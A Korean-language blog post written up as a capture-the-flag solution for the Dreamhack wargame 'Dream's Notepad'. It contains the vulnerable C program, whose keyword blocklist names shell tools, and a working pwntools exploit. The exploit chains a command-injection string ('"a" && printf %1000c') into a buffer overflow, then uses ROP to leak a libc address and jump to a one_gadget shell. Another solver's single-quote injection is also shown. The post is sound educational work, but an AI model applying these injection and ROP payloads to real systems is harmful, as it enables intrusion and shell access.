TIL: Command Injection, ROP

Wargame: Dream’s Notepad

//gcc -o Notepad Notepad.c -fno-stack-protector
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>

void Initalize(){
   setvbuf(stdin, (char *)NULL, _IONBF, 0);
   setvbuf(stdout, (char *)NULL, _IONBF, 0);
   setvbuf(stderr, (char *)NULL, _IONBF, 0);
}

void main()
{
    Initalize();

    puts("Welcome to Dream's Notepad!\n");

    char title[10] = {0,};
    char content[64] = {0,};

    puts("-----Enter the content-----");
    read(0, content, sizeof(content) - 1);

    for (int i = 0; content[i] != 0; i++)
    {
        if (content[i] == '\n')
        {
            content[i] = 0;
            break;
        }
    }

    if(strstr(content, ".") != NULL) {
        puts("It can't be..");
        return;
    }
    else if(strstr(content, "/") != NULL) {
        puts("It can't be..");
        return;
    }
    else if(strstr(content, ";") != NULL) {
        puts("It can't be..");
        return;
    }
    else if(strstr(content, "*") != NULL) {
        puts("It can't be..");
        return;
    }
    else if(strstr(content, "cat") != NULL) {
        puts("It can't be..");
        return;
    }
    else if(strstr(content, "echo") != NULL) {
        puts("It can't be..");
        return;
    }
    else if(strstr(content, "flag") != NULL) {
        puts("It can't be..");
        return;
    }
    else if(strstr(content, "sh") != NULL) {
        puts("It can't be..");
        return;
    }
    else if(strstr(content, "bin") != NULL) {
        puts("It can't be..");
        return;
    }

    char tmp[128] = {0,};

    sprintf(tmp, "echo %s > /home/Dnote/note", content);
    system(tmp);

    FILE* p = fopen("/home/Dnote/note", "r");
    unsigned int size = 0;
    if (p > 0)
    {
        fseek(p, 0, SEEK_END);
        size = ftell(p) + 1;
        fclose(p);
        remove("/home/Dnote/note");
    }

    char message[256];

    puts("\n-----Leave a message-----");
    read(0, message, size - 1);

    puts("\nBye Bye!!:-)");
}

Vulnerability Scanning

  • checksec

  • sprintf(tmp, "echo %s > /home/Dnote/note", content); : 사용자에게 입력 받은 내용으로 command를 실행한다. → Command Injection이 가능
  • read(0, message, size - 1); : size가 message보다 커질 수 있으므로 BOF가 일어날 수 있다.

Exploit

  • Command injection을 일으킬 때 /home/Dnote/note의 size를 큰 값으로 설정하기 위해 format string을 사용했다. (printf %1000c > /home/Dnote/note)
  • BOF를 일으킨 후 ROP를 할 땐 우선 puts(read_got)를 실행해 libc_base를 얻은 후, 다시 main으로 돌아가 다시 한 번 BOF를 일으켜 one_gadget을 stack에 삽입했다.
from pwn import *

#p = process("./Notepad")
p = remote("host3.dreamhack.games", 19804)
#gdb.attach(p)
e = ELF("./Notepad")

p.sendlineafter("content-----\n", '"a" && printf %1000c')

payload = b"A"*(0x100 + 0x80 + 0x40 + 0x28)

pop_rdi = 0x400c73
pop_rsi_pop_r15 = 0x400c6f
ret = 0x400709
puts_got = e.got["puts"]
puts_plt = e.plt["puts"]
read_plt = e.plt["read"]
read_got = e.got["read"]

# puts(puts_got)
payload += p64(pop_rdi) + p64(puts_got)
payload += p64(puts_plt)

# return to main
payload += p64(pop_rdi) + p64(0) #이거 안넣었다가 계속 실패함.
payload += p64(e.symbols["main"])

p.sendafter("a message-----\n", payload)

p.recvline()
p.recvline()
puts = u64(p.recvline()[:-1].ljust(8, b"\x00"))
print(hex(puts))
libc_base = puts - 0x06f6a0
og = libc_base + 0x4527a
system = libc_base + 0x453a0

p.sendlineafter("content-----\n", '"a" && printf %1000c')

payload = b"A"*(0x100 + 0x80 + 0x40 + 0x28)
payload += p64(og)

p.sendafter("a message-----\n", payload)

p.interactive()
  • main을 다시 한 번 실행할 때 까먹고 main의 argument를 초기화해주지 않았더니 exploit에 실패했다. 항상 p64(pop_rdi) + p64(0)과 같이 argument를 초기화해주는 것을 까먹지 말자.

다른 사람의 풀이

# ...
p.sendlineafter("content-----\n", "'")
# ...

system 함수가 실행하는 command line이 echo ' > /home/Dnote/note가 되도록 작성해도 같은 방식으로 exploit이 일어난다. 이렇게 command를 실행할 경우 파일이 생성되지 않아 size가 0이 되고, size - 1은 곧 UMax가 되므로 BOF를 일으킬 수 있게 된다.

위 command를 실행하면 왜 파일이 생성되지 않는지는 이해하지 못해서 dreamhack에 질문글을 올려두었다. (링크)

Categories: ,

Updated:

Leave a comment